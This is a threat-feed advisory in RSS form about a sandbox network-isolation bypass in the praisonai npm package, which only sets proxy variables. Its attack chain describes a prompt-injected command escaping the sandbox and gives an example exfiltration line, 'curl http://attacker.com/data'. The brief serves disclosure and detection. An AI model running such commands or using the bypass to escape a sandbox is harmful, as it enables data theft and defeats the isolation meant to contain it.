<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Praisonai (&gt;= 1.2.3, &lt;= 1.7.1) - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/praisonai--1.2.3--1.7.1/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Thu, 18 Jun 2026 15:06:26 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/praisonai--1.2.3--1.7.1/feed.xml" rel="self" type="application/rss+xml"/><item><title>npm PraisonAI SandboxExecutor Network Isolation Bypass Vulnerability (GHSA-gqmf-56h7-rrpf)</title><link>https://feed.craftedsignal.io/briefs/2026-06-npm-praisonai-network-bypass/</link><pubDate>Thu, 18 Jun 2026 15:06:26 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-06-npm-praisonai-network-bypass/</guid><description>The npm package `praisonai` versions 1.2.3 through 1.7.1 contain a network isolation bypass vulnerability (GHSA-gqmf-56h7-rrpf) in its `SandboxExecutor` component's `network-isolated` mode, allowing non-proxy-aware client commands to establish direct network connections, leading to potential data exfiltration and access to internal services.</description><content:encoded><![CDATA[<p>The npm package <code>praisonai</code>, specifically versions 1.2.3 up to and including 1.7.1, is affected by a critical network isolation bypass vulnerability identified as GHSA-gqmf-56h7-rrpf. The <code>SandboxExecutor</code> component in <code>network-isolated</code> mode, which is advertised to provide &quot;No network access,&quot; fails to implement robust OS-level network restrictions. Instead, it only injects proxy environment variables (e.g., <code>http_proxy</code>, <code>https_proxy</code> set to <code>localhost:0</code>) into the child processes. This mechanism is insufficient for true network isolation, as any non-proxy-aware client or direct socket API call within the sandboxed command environment will bypass these variables and establish direct network connections. This flaw undermines the security guarantees applications rely on when executing untrusted or user-supplied code via <code>praisonai</code>, potentially enabling attackers to exfiltrate sensitive data or access internal network resources.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>An attacker crafts malicious input, such as a prompt-injected command, and submits it to an application utilizing the <code>praisonai</code> library.</li>
<li>The vulnerable application executes the attacker-supplied command within the <code>SandboxExecutor</code> component, configured for <code>network-isolated</code> mode.</li>
<li>The <code>SandboxExecutor</code> spawns a child process (e.g., <code>sh -c [attacker_controlled_command]</code>), inheriting environment variables like <code>http_proxy=http://localhost:0</code>.</li>
<li>The attacker-controlled command, for instance, <code>curl http://attacker.com/data</code>, executes a non-proxy-aware network client or direct socket API call.</li>
<li>The non-proxy-aware client or API ignores the injected proxy environment variables and attempts to establish a direct outbound network connection.</li>
<li>The operating system permits the direct connection, effectively bypassing the intended <code>network-isolated</code> sandbox boundary.</li>
<li>The attacker's command successfully exfiltrates data from the compromised environment or accesses internal network services.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>The network isolation bypass in <code>praisonai</code> can lead to severe consequences for applications relying on its sandbox for security. If exploited, attackers can circumvent the intended network restrictions to exfiltrate sensitive data (e.g., local files, process output, environment variables) from the sandboxed command context. Furthermore, this vulnerability allows access to localhost services or internal network resources reachable from the host running the <code>praisonai</code> instance, potentially enabling lateral movement or further compromise. It can also permit requests to cloud metadata or service endpoints, leading to credential theft or escalation of privileges. Ultimately, the flaw enables bypass of application policies that assume command execution occurs without network access, compromising the integrity and confidentiality of the host system.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li><strong>Patch CVE-GHSA-gqmf-56h7-rrpf immediately</strong> by upgrading the <code>praisonai</code> npm package to a version that contains a fix, or implement a workaround that employs OS-level network restrictions.</li>
<li><strong>Deploy the Sigma rules in this brief to your SIEM</strong> to detect suspicious network utility execution originating from processes likely spawned by <code>praisonai</code>'s <code>SandboxExecutor</code>.</li>
<li><strong>Enable <code>process_creation</code> logging for all Linux servers</strong> that run applications using the <code>praisonai</code> package to capture <code>sh</code>, <code>curl</code>, <code>wget</code>, <code>node</code>, and <code>python</code> command line arguments.</li>
<li><strong>Review <code>network_connection</code> logs</strong> from systems using <code>praisonai</code> for outbound connections initiated by non-standard or unexpected processes to external or internal destinations.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">threat</category><category>vulnerability</category><category>npm</category><category>sandbox</category><category>network-bypass</category><category>ghsa</category></item></channel></rss>